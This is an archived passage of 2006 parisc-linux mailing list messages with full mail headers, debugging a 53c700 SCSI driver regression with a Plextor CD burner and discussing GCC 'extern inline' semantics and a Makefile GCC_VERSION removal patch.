     > tree ae85703651d81740f4a6cd398f9dd4d6aabe6a2f
     > parent 6db874fbdbedba5e15e76cc03b42f52ea70338c0
     > author James Bottomley <James.Bottomley@steeleye.com> Wed, 14 Jun 2006 07:31:19 -0500
     > committer James Bottomley <jejb@mulgrave.il.steeleye.com> Tue, 20 Jun 2006 05:34:01 -0500
     >
     > [SCSI] 53c700: remove reliance on deprecated cmnd fields
     >  ...
     >
     > +        SDp->hostdata = kmalloc(GFP_KERNEL, sizeof(struct NCR_700_sense));
     > +
     > +        if (!SDp->hostdata)
     > +                return -ENOMEM;
    
    "I'll take reversed arguments for $100 please Alex".
    
    Signed-off-by: Dave Jones <davej@redhat.com>
    Signed-off-by: James Bottomley <James.Bottomley@SteelEye.com>

commit 67d59dfdeb21df2c16dcd478b66177e91178ecd0
Author: James Bottomley <James.Bottomley@steeleye.com>
Date:   Tue Jun 13 21:31:19 2006 -0500

    [SCSI] 53c700: remove reliance on deprecated cmnd fields
    
    This one's quite tricky.  The 53c700 uses the now deprecated fields of
    the command structure for saving the prior command when it does
    autosense.  To fix this, we have to add extra fields to the LUN to
    accommodate a copy of the real command.
    
    Signed-off-by: James Bottomley <James.Bottomley@SteelEye.com>

commit 6391a11375de5e2bb1eb8481e54619761dc65d9f



Regards,
  Guy

On Sun, 12 Nov 2006 12:14:37 -0700
Matthew Wilcox <matthew@wil.cx> wrote:

> On Sun, Nov 12, 2006 at 04:03:50PM +0100, Guy Martin wrote:
> > This is how 2.4 detects it :
> > scsi3: (4:0) Synchronous at offset 8, period 100ns
> >   Vendor: PLEXTOR   Model: CD-R   PX-R820T   Rev: 1.08
> >   Type:   CD-ROM                             ANSI SCSI revision: 02
> > 
> > And this is how 2.6 detects it :
> > [42949430.090000]   Vendor: PLEXTOR   Model: CD-R   PX-R820T   Rev: 1.08
> > [42949430.150000]   Type:   CD-ROM                             ANSI SCSI revision: 02
> > [42949430.170000]  target2:0:4: Beginning Domain Validation
> > [42949430.180000]  target2:0:4: asynchronous
> > [42949430.190000]  target2:0:4: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
> > [42949430.200000]  target2:0:4: Domain Validation skipping write tests
> > [42949430.210000]  target2:0:4: Ending Domain Validation
> > 
> > 
> > The main difference seems that 2.4 detects and syncronous drive while 2.6 detects an async one.
> 
> Um, you're just confused by the debug output from the DV code.  First it
> negotiates async, then it negotiates FAST-10.
> 
> > Full 2.4 dmesg : https://www.tuxicoman.be/temp/dmesg-2.4-53c700
> > Full 2.6 dmesg : https://www.tuxicoman.be/temp/dmesg-2.6-53c700
> > 2.6 kernel config : https://www.tuxicoman.be/temp/k410-2.6.18.2-pa0.config
> > 
> > On my 2.6 kernel, when you try to mount it, you get the those error messages in loop.
> > 
> > Please have a look at it and let me know if you need any other info.
> 
> Presumably at some point in 2.6, this device worked fine.  Any chance
> you could bisect and figure out when it started failing?  I'd start with
> looking at something in the 2.6.8 sort of timeframe.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Mon, 27 Nov 2006 08:37:14 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20061127153713.GQ14076@parisc-linux.org>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624622 28205 80.91.229.3 (22 Nov 2014 02:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Nov 2006 15:37:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 27 Nov 2006 16:37:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFAC27D952;
	Mon, 27 Nov 2006 08:37:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21288-07; Mon, 27 Nov 2006 08:37:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 425F37D962;
	Mon, 27 Nov 2006 08:37:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04CBB7D923
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 08:37:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21288-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 08:37:14 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9BD067D8FB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 08:37:14 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 5CD7F494010; Mon, 27 Nov 2006 08:37:14 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 4A0B849400F; Mon, 27 Nov 2006 08:37:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061127115832.b413fd7b.gmsoft@tuxicoman.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DjRYcdklX1VpCOuYY2FyBGx3SDc4NMxR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25382

On Mon, Nov 27, 2006 at 11:58:32AM +0100, Guy Martin wrote:
> Some more detail on this issue.
> This burner still works at commit 6391a11375de5e2bb1eb8481e54619761dc65d9f but breaks at commit 0f13fc09db68de92585558984bff1c51b87db72f.

Thanks for narrowing it down so much!

> commit 0f13fc09db68de92585558984bff1c51b87db72f
> Author: James Bottomley <James.Bottomley@steeleye.com>
> Date:   Thu Jun 29 13:02:11 2006 -0400
> 
>     [SCSI] 53c700: fix breakage caused by the autosense update
>     
>     A bit of a brown paper bag issue.  The previous patch to remove the soon
>     to be ripped out fields that were used in autosense actually broke the
>     driver.  This patch fixes it and has been tested (honestly).

If James says he tested it, I believe him.  I *think* we're in the
situation where it works on machines without an IOMMU and breaks on
machines with an IOMMU.  Joel, Guy, do I have that right?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Mon, 27 Nov 2006 18:10:40 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20061127181040.94d1e30f.gmsoft@tuxicoman.be>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>
	<20061127153713.GQ14076@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624622 28206 80.91.229.3 (22 Nov 2014 02:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Nov 2006 17:11:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 27 Nov 2006 18:11:15 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 477107D981;
	Mon, 27 Nov 2006 10:11:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22827-09; Mon, 27 Nov 2006 10:11:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53B8F7D982;
	Mon, 27 Nov 2006 10:11:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40EF57D97B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 10:11:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22923-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 10:11:02 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D932D7D939
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 10:11:02 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 9ADE7494014; Mon, 27 Nov 2006 10:11:02 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id 41C2649400B
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Nov 2006 10:10:55 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 25C81EC91F; Mon, 27 Nov 2006 18:10:55 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id E436A2FD1F; Mon, 27 Nov 2006 18:10:47 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>)
	id 1GolqZ-00063E-Tm; Mon, 27 Nov 2006 20:08:56 +0100
In-Reply-To: <20061127153713.GQ14076@parisc-linux.org>
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fitYcTMFf2I/GoicY2xo18pwdWxlc9at
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25383


Matthew,

In only tested on my K410. I'm clueless about IOMMU besides what I can read about it on wikipedia :)

I can give it a try on my b180l but I don't know if there is a point and if it has the right connector.

As James said, it looks like the size of some commands is not negociated properly or so.
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030204.html

Is there a way I make this negociation more verbose ?

However, unlike Joel's problem, those errors start to appear when I try to mount a cd or even before that when udevd starts and not after some untar/rm iterations. I sould mention that if I eject the media while mount is stuck, it aborts.

  Guy


On Mon, 27 Nov 2006 08:37:14 -0700
Matthew Wilcox <matthew@wil.cx> wrote:

> On Mon, Nov 27, 2006 at 11:58:32AM +0100, Guy Martin wrote:
> > Some more detail on this issue.
> > This burner still works at commit 6391a11375de5e2bb1eb8481e54619761dc65d9f but breaks at commit 0f13fc09db68de92585558984bff1c51b87db72f.
> 
> Thanks for narrowing it down so much!
> 
> > commit 0f13fc09db68de92585558984bff1c51b87db72f
> > Author: James Bottomley <James.Bottomley@steeleye.com>
> > Date:   Thu Jun 29 13:02:11 2006 -0400
> > 
> >     [SCSI] 53c700: fix breakage caused by the autosense update
> >     
> >     A bit of a brown paper bag issue.  The previous patch to remove the soon
> >     to be ripped out fields that were used in autosense actually broke the
> >     driver.  This patch fixes it and has been tested (honestly).
> 
> If James says he tested it, I believe him.  I *think* we're in the
> situation where it works on machines without an IOMMU and breaks on
> machines with an IOMMU.  Joel, Guy, do I have that right?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [2.6 patch] parisc: "extern inline" -> "static
Date: Fri, 1 Dec 2006 12:38:16 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200612011738.kB1HcGwo006938__25185.3341040716$1416624623$gmane$org@hiauly1.hia.nrc.ca>
References: <20061201164354.GA10549@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624623 28210 80.91.229.3 (22 Nov 2014 02:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:23 +0000 (UTC)
Cc: akpm@osdl.org,
 matthew@wil.cx,
 linux-kernel@vger.kernel.org,
 kyle@parisc-linux.org,
 bunk@stusta.de,
 parisc-linux@parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 17:53:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 01 Dec 2006 18:53:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 427F37D9E1;
	Fri,  1 Dec 2006 10:53:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20890-03; Fri, 1 Dec 2006 10:53:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 546ED7D9F1;
	Fri,  1 Dec 2006 10:53:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A01F47D9E1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 10:53:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20626-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 10:53:23 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4224A7D9D4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 10:53:23 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 1D31849400E; Fri,  1 Dec 2006 10:53:23 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by mail.parisc-linux.org (Postfix) with ESMTP id 95CD1494007
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Dec 2006 10:53:02 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kB1HcGUT006941;
	Fri, 1 Dec 2006 12:38:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kB1HcGwo006938;
	Fri, 1 Dec 2006 12:38:16 -0500 (EST)
In-Reply-To: <20061201164354.GA10549@colo.lackof.org> from "Grant Grundler" at
	Dec 1, 2006 09:43:54 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F1lCfRpcPjltCOrBOTU2QtgzMTE2NYn1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25384

> The parisc point intentionally switched to "extern inline" at one
> point and unless what jda wrote is now incorrect, I'm not inclined
> to change it.

The handling of "extern inline" is changing in GCC 4.3 to the C99 specified
behavior.  The attribute gnu_inline on an inline declaration results in the
old GNU C89 inline behavior even in the ISO C99 mode.

The C99 behavior allows the function being inlined to be externally
called.  As a result, conflicts will occur if the function is defined in
a header included by multiple objects.  So, code that assumed the previous
GNU treatment unfortunately needs to change.

The main difference between "static inline" and "extern inline" in the
old GNU treatment was that with "extern inline" the function was never
compiled on its own, even if its address was explicitly referenced.
With "static inline", the function would be compiled on its own in some
circumstances.  So, this is mostly a code size issue.

More details are present in extend.texi in the GCC head.  This has also
been discussed on the gcc list a few times.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] arch/parisc/Makefile: remove
	GCC_VERSION
Date: Fri, 1 Dec 2006 11:23:55 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20061201182355.GC10549__12204.3425021277$1416624623$gmane$org@colo.lackof.org>
References: <20061201114908.GR11084@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624623 28212 80.91.229.3 (22 Nov 2014 02:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:23 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Kyle McMartin <kyle@mcmartin.ca>,
 linux-kernel@vger.kernel.org,
 Sam Ravnborg <sam@ravnborg.org>,
 parisc-linux@parisc-linux.org
To: Adrian Bunk <bunk@stusta.de>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 18:24:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 01 Dec 2006 19:24:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01ABD7DA00;
	Fri,  1 Dec 2006 11:24:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21598-03; Fri, 1 Dec 2006 11:24:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CC247D9F4;
	Fri,  1 Dec 2006 11:24:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41BD07D9FF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 11:24:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21300-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 11:24:22 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id CFE387D9F4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 11:24:22 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id A61D2494010; Fri,  1 Dec 2006 11:24:22 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 679F9494007;
	Fri,  1 Dec 2006 11:23:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1ECAA360136;
	Fri,  1 Dec 2006 11:23:57 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21774-04; Fri, 1 Dec 2006 11:23:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5A60E360135; Fri,  1 Dec 2006 11:23:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061201114908.GR11084@stusta.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: W0FWbRnILi5nE/fRZWtpdmhjZml1ZNgR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25385

On Fri, Dec 01, 2006 at 12:49:08PM +0100, Adrian Bunk wrote:
> This patch removes the usage of GCC_VERSION from arch/parisc/Makefile.
> 
> There are no functional changes, it simply makes it a bit shorter (and 
> removes the last instance of GCC_VERSION in the kernel).

Thanks!
I've committed a variant of this to git://git.parisc-linux.org/git/linux-2.6.git
I didn't test the failure case - only that it doesn't trigger with
my current gcc 4.x compilers.

I expect Kyle will push parisc tree to linus in the near future.

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>


diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 9b7e424..760567a 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -35,12 +35,8 @@ FINAL_LD=$(CROSS_COMPILE)ld --warn-commo
 
 OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
 
-GCC_VERSION     := $(call cc-version)
-ifneq ($(shell if [ -z $(GCC_VERSION) ] ; then echo "bad"; fi ;),)
-$(error Sorry, couldn't find ($(cc-version)).)
-endif
